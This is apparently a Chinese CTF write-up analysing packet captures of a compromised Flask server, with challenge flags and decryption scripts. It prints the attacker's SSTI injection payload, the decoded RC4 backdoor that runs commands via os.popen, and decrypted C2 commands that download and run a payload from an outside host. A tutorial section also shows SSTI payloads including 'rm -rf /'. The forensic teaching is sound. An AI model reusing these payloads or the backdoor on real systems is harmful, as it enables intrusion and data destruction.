——luxlu
📎 相关: | 6.流量分析 | 6.1流量分析杂 | 3.编码分析 | 4.压缩包分析
流量分析1 近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
最频繁访问的ip192.168.1.111是攻击源
服务器地址是192.168.1.200:5000
过滤器http.request.method == "POST" && ip.src == 192.168.1.111 && http.request.uri contains "login"

其他流的状态都为200OK
直接查看最后一个流即为登陆成功 状态为302FOUNDpasword为zxcvbnm123
flag{zxcvbnm123}
流量分析2 攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么
ctrl+f SECRET_KEY


flag{c6242af0-6891-4510-8432-e1cdf051f160}
流量分析3 攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key)
SSTI注入+代码还原
过滤器:http.request


观察到/admin/preview频繁被POST,而且请求体很大
说明这个接口可能是被攻击者劫持用来传输数据的C2通道
追踪了5369字节的请求

1 preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('一大段base64'))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

1 2 _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1])); exec((_)(b'=一大段base64'))
由此我们可以看到攻击者构造paylord的原始过程
1 2 3 4 5 6 7 8 9 10 11 原始恶意代码(Python) ↓ 用 zlib 压缩 ↓ 用 base64 编码 ↓ 把 base64 字符串反转([::-1]) ↓ 包装成 b'...' 字面量 ↓ 嵌入到模板中:exec((_)(b'...'))
为了还原原始代码,逆着流程走回去
1 2 3 4 5 拿到 b'...' 字符串 ↓ (1)反转 → 恢复正确的 base64 顺序 ↓ (2)base64 解码 → 得到 zlib 压缩数据 ↓ (3)zlib 解压 → 得到原始 Python 代码 ↓ (4)decode → 可读字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import base64 import zlib import re code = """ exec((_)(b'=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')) """ def decrypt_(encrypted_b64_data): try: return zlib.decompress(base64.b64decode(encrypted_b64_data[::-1])).decode('utf-8') except Exception as e: return None def decrypt(code): current = code layer = 0 while True: match = re.search(r"b'([^']+)'", current) if match: layer += 1 payload = match.group(1) next_layer = decrypt_(payload.encode('utf-8')) if next_layer: current = next_layer else: break else: break return current print(decrypt(code))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 global exc_class global code import os,binascii exc_class, code = app._get_exc_class_and_code(404) RC4_SECRET = b'v1p3r_5tr1k3_k3y' def rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res) def backdoor_handler(): if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779': return "Error" enc_hex_cmd = request.form.get('data') if not enc_hex_cmd: return "" try: enc_cmd = binascii.unhexlify(enc_hex_cmd) cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore') output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore') enc_output = rc4_crypt(output_bytes, RC4_SECRET) return binascii.hexlify(enc_output).decode() except: return "Error" app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
flag{v1p3r_5tr1k3_k3y}
c2通道 攻击者发命令(下载木马/截图/执行shell),受害机接收执行,再把结果传回去。
判断特征:固定接口(/admin/preview、/api/report)、POST 定期请求、参数加密(data=e0ac7e52fc996cc2...,hex 或 base64)、响应也是乱码、每隔几秒就通信一次。
不加密的话一眼就是 GET /?cmd=rm -rf /,所以命令要 RC4 加密、POST 到 /admin/preview 伪装成正常流量、参数名用无害的 data=/token=。这样即使被监控也看不出在发恶意命令。
Jinja2 SSTI Jinja2 是 Python 的模板引擎,正常是往 HTML 里填变量。漏洞出在 render_template_string 把用户输入直接拼进模板,输入被当成模板代码执行:
1 2 3 preview = request.form['content'] # 用户输入 return render_template_string("{{ " + preview + " }}") //把用户输入的内容,当作模板代码执行
先测能不能算数:
服务器会返回 49:
说明用户输入能当代码跑。
然后找 Python 所有类,从里面捞 os 执行命令:
1 {{ ''.__class__.__mro__[1].__subclasses__() }}
最后直接命令执行:
1 {{ config.__class__.__init__.__globals__['os'].popen('rm -rf /').read() }}
这下服务器真的会执行 rm -rf /,删全盘。
防御:别用 render_template_string 拼用户输入,用 render_template 传参:
1 2 3 4 5 6 7 8 render_template_string("{{ " + user_input + " }}") # × render_template("template.html", user=user_input) # √ {{ user|safe }} # 或者用safe标签限制也可以
流量分析4 攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称
/admin/preview接口的POST请求体里只有data=xxxxxx这一个参数反复出现内容也很长,于是过滤器用http contains "data="
提取所有data=的hex值

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import binascii RC4_SECRET = b'v1p3r_5tr1k3_k3y' def rc4_crypt(data, key): S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res) hex_list = [ "acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534", "bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a", "a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351", "acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b", "e0ac7e52fc996cc2038c2d7a3899ed" ] for i, h in enumerate(hex_list, 1): try: if len(h) % 2: continue dec = rc4_crypt(binascii.unhexlify(h), RC4_SECRET) print(f"[{i}] {dec.decode('utf-8', errors='replace')}") except: pass
得到还原链
1 2 3 4 5 [1] curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip [2] unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip [3] mv /tmp/shell /tmp/python3.13 [4] chmod +x /tmp/python3.13 [5] /tmp/python3.13
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [1] curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip 从攻击者的服务器192.168.1.2.1:8080下载一个叫shell.zip的文件 保存到受害机的/tmp/123.zip [2] unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip 使用密码nf2jd092jd01解压123.zip 解压后得到一个文件:/tmp/shell [3] mv /tmp/shell /tmp/python3.13 把shell改名为python3.13 伪装成系统自带的python可执行文件,逃避管理员的注意 [4] chmod +x /tmp/python3.13 把python3.13变成可执行程序 [5] /tmp/python3.13 运行木马
flag{python3.13}
流量分析5 请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}
过滤器:http.request.method == "GET" && http contains "shell.zip"

